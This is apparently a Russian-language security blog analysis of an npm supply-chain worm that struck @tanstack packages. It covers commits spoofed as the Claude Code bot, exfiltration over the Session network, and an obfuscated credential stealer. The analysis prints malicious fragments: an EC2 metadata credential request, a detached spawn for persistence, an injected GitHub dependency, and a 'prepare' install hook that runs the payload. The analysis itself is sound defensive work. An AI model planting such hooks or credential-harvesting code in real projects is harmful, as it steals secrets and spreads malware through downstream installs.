Помимо распространения через npm, имплант атакует исходные репозитории мейнтейнеров, чьи учётные данные ему удалось собрать. Используя GitHub GraphQL API и украденный токен, он коммитит свои копии напрямую в ветки репозиториев.

# GitHub GraphQL mutation — подтверждённо присутствует в файле в открытом виде
createCommitOnBranch    ← создаёт коммиты без локального git clone

# Целевые пути, в которые идёт запись в репозиториях мейнтейнеров
.github/workflows/      ← внедрение в определения CI-пайплайнов
.claude/router_runtime.js
.claude/settings.json
.claude/setup.mjs
.vscode/setup.mjs
.vscode/tasks.json

# Подменённая личность автора коммита
claude@users.noreply.github.com   ← имитирует учётную запись бота Claude Code

Мутация GraphQL createCommitOnBranch работает напрямую через API GitHub и не требует ни локальной установки git, ни клонирования репозитория. Это означает, что данный этап одинаково выполняется как на CI-раннере, так и на рабочей станции разработчика.

Автор коммита подделывается под claude@users.noreply.github.com, то есть под легитимное GitHub-приложение Anthropic Claude Code. В репозиториях, где Claude Code уже одобрен как интеграция, такой коммит может выглядеть как обычная активность и не вызвать подозрений.

Примечание: для маскировки червь копирует себя под именем файла router_runtime.js. Это имя уже использовалось в предыдущих кампаниях Mini Shai-Hulud.

Чтобы понять, как атака работала на практике, дальше стоит рассмотреть два ключевых элемента: канал эксфильтрации данных через сеть Session и одну из выявленных версий полезной нагрузки — tanstack_runner.js

Эксфильтрация через P2P-сеть Session

Имплант использует необычный канал управления и вывода данных: вместо стандартного HTTPS-маяка на сервер злоумышленника он направляет все собранные учётные данные через децентрализованную сеть обмена сообщениями Session.

Полный стек протокола Session, включая схему Protocol Buffers signalservice, встроен прямо в полезную нагрузку размером 2,3 МБ.

# Основная точка эксфильтрации
http://filev2.getsession[.]org/file/    ← endpoint файлового сервера Session

# Встроенные внутренние компоненты протокола Session в payload
signalservice.Envelope
signalservice.Content
signalservice.DataMessage
signalservice.WebSocketMessage
signalservice.SharedConfigMessage
signalservice.CallMessage
signalservice.DataExtractionNotification

# P2P-маршрутизация
executeStreaming    ← отправляет данные через сеть service node Session
snode               ← объект маршрутизации service node

Маршрутизация эксфильтрации через сеть snode в Session означает, что трафик C2 выглядит как трафик обычного end-to-end encrypted мессенджера и на сетевом уровне практически неотличим от легитимного использования приложения Session.

Функция executeStreaming отвечает за отправку данных через P2P-рой service node-узлов.

tanstack_runner.js

Этот файл представляет собой сильно обфусцированную JavaScript-нагрузку, нацеленную на среды Node.js/Bun. Хотя на первый взгляд он напоминает скомпилированный код приложения, по сути скрипт ведёт себя как похититель учётных данных, ориентированный на инфраструктуру CI/CD и системы разработчиков. Вредоносная программа перебирает process.env, проверяет наличие окружений GitHub Actions и runner’ов и пытается собрать секреты из GitHub, npm, AWS, Kubernetes и развёртываний Vault. Хотя этот файл и router_init.js, содержащий кражу учётных данных, нацеливание на CI и возможности публикации пакетов, во многом пересекаются, tanstack_runner.js дополнительно содержит механизм самораспространения, добавляющий вредоносную запись в optionalDependencies файла package.json.

Файл использует классический обфускатор на основе массива строк, чтобы скрыть свою функциональность:

const _0x12ada1=_0x3782;
(function(_0x2e175c,_0x465e49){
while(!![]){
try{
// rotates encoded string table
} catch(e){}
}
}(_0x360f,0x18ffa));
  • GITHUB_TOKEN

  • NPM_TOKEN

  • AWS_ACCESS_KEY_ID

  • VAULT_TOKEN

  • сервис метаданных EC2 по адресу 169.254.169.254

  • локальный экземпляр Vault по адресу 127.0.0.1:8200

  • путь к токену service account Kubernetes:

    /var/run/secrets/kubernetes.io/serviceaccount/token

Вредоносная программа проверяет GitHub-токены через API GitHub и пытается получить доступ к метаданным IAM в EC2:

fetch("https://api.github.com/user", {
headers: {
Authorization: `token ${token}`
}
});
http.get(
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
)

Также в ней присутствует запуск дочернего процесса в отсоединённом режиме для закрепления:

spawn(process.argv[0], args, {
detached: true,
stdio: "ignore"
}).unref();

Помимо кражи учётных данных, полезная нагрузка, по-видимому, реализует механизм распространения по цепочке поставок, предназначенный для заражения дополнительных npm-пакетов. Наиболее явный индикатор — процедура updateTarball(), которая извлекает tarball пакета, переписывает его package.json, внедряет вредоносную зависимость, увеличивает версию пакета и заново упаковывает архив для дальнейшего распространения. Внедряемая зависимость указывает на размещённый на GitHub пакет с именем @tanstack/setup:

_0x656e4f['optionalDependencies'] = {};
_0x656e4f[_0x407cba(0x23ce)][_0x2dbd91['HYCHH']] =
  'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c';

Соответствующее деобфусцированное поведение фактически выглядит так:

packageJson.optionalDependencies = {};
packageJson.dependencies["@tanstack/setup"] =
  "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c";

Указанный коммит GitHub выглядит особенно подозрительно, поскольку он добавляет отдельный пакет, содержащий lifecycle-хук prepare:

{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}

Поскольку npm автоматически выполняет lifecycle-хуки для зависимостей, установленных из Git-репозиториев, любая последующая установка модифицированного пакета автоматически запустит tanstack_runner.js на следующей машине-жертве или CI-runner’е.

Логика распространения и техники внедрения зависимостей очень похожи на методы, ранее задокументированные в недавних компрометациях цепочки поставок npm и PyPI, проанализированных Socket, включая инциденты Intercom, Lightning AI и SAP CAP. В частности, использование вредоносной программой зависимостей, размещённых на GitHub, вредоносных lifecycle-хуков (prepare), нацеливания на учётные данные CI/CD и автоматизированной модификации пакетов уже наблюдалось в предыдущих волнах этой кампании.

Послесловие 

Инцидент с @tanstack в очередной раз показал, что GitHub Actions остаётся слабым звеном в безопасности supply chain. Вредонос был специально нацелен на CI-среду GitHub: он собирал переменные окружения раннера, получал данные для запроса OIDC-токена и обращался к GitHub API для перечисления секретов репозитория.

Это важно не только для TanStack. Если один workflow или раннер скомпрометирован, под угрозой оказываются токены, секреты и вся дальнейшая цепочка сборки и публикации. Этот случай лишь подтверждает, что GitHub Actions всё чаще становится удобной точкой входа для атак на инфраструктуру.

Комментарии (0)